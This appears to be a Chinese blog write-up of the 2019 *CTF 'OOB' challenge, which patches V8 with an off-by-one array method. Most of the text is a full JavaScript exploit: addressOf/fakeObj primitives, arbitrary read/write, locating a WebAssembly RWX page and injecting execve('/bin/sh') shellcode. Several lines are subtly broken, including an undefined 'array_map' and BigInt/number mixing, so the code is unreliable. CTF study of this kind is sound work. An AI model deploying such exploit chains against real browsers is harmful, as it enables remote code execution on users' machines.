2019 starctf OOB

实战但没完全实战

漏洞点

(由于不会看C++源码而跳过漏洞分析的我就是个屑o(TヘTo))
在obb.diff中,给变量添加了一个oob函数,存在off by one可以越界读写64bit,test.js如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
f64[0] = f;
return bigUint64[0];
}

function itof(i)
{
bigUint64[0] = i;
return f64[0];
}

function hex(i)
{
return i.toString(16).padStart(8, "0");
}

var a = [2.1];
var x = a.oob();
console.log("x is 0x"+hex(ftoi(x)));
%DebugPrint(a);
%SystemBreak();
a.oob(2.1);
%SystemBreak();

DebugPrint的内容如下:

变量a的结构如下:

地址没有压缩,可以看出a.oob()打印出了map的地址
继续执行,a.oob(2.1)后的a的内存布局是这样的:

a的map被改成了2.1

套模板编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
//64位浮点数和整数转化相关变量声明
//两个对象以不同方式读写一块内存
var f64=new Float64Array(1);
var bigUint64=new BigUint64Array(f64.buffer);

//任意对象读写相关变量声明
var double_array=[1.1];
var obj={"a":1};
var obj_array=[obj];
var double_map=double_array.oob();
var obj_map=obj_array.oob();

//任意读写相关变量声明
var fake_array=[
double_map, //64bit map addr
itof(0n), //64bit properties addr
itof(0x41414141n), //64bit elements addr
itof(0x100000000n), //64bit length
];

//wasm相关变量声明
var wasmCode=new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule=new WebAssembly.Module(wasmCode);
var wasmInstance=new WebAssembly.Instance(wasmModule,{});
var f=wasmInstance.exports.main;


//64位浮点数和整数相互转化
function ftoi(f)
{
f64[0]=f;
return bigUint64[0];
}
function itof(i)
{
bigUint64[0]=i;
return f64[0];
}

//十六进制输出
function hex(i)
{
return i.toString(16).padStart(8,"0");
}

//任意结构体读写
function fakeObj(addr_to_fake)
{
double_array[0] = itof(addr_to_fake + 1n);
double_array.oob(obj_map); //将浮点型数组伪造成对象数组
let faked_obj = double_array[0];
double_array.oob(array_map);
return faked_obj;
}
function addressOf(obj_to_leak) //将用array伪造的数据转为object
{
obj_array[0] = obj_to_leak;
obj_array.oob(double_map); //将对象数组伪造成浮点型数组
let obj_addr = ftoi(obj_array[0]) - 1n;
obj_array.oob(obj_map);
return obj_addr;
}

//任意读写函数
function read64(addr)
{
fake_array[2]=itof(addr-0x10n+1n);
return fake_object[0];
}
function write64(addr,data)
{
fake_array[2]=itof(addr-0x10n+1n);
fake_object[0]=itof(data);
}

//shellcode写如rwx函数
function copy_shellcode_to_rwx(shellcode,rwx_addr)
{
var data_buf=new ArrayBuffer(shellcode.length*8);
var data_view=new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x20n;
console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

write64(buf_backing_store_addr,ftoi(rwx_addr));
for(let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,itof(shellcode[i],true));
}

//将用array伪造的fake_object转化为object
fake_array_addr=addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x"+hex(fake_array_addr));
fake_object_addr=fake_array_addr+0x30n; //fake_array的elements在+0x30的位置
var fake_object=fakeObj(fake_object_addr);

var wasm_instance_addr=addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr=read64(wasm_instance_addr+0x88);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode=[
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode,rwx_page_addr)
f();

2019 starctf OOB
http://akaieurus.github.io/2023/04/13/starctf-2019-OOB/
作者
Eurus
发布于
2023年4月13日
许可协议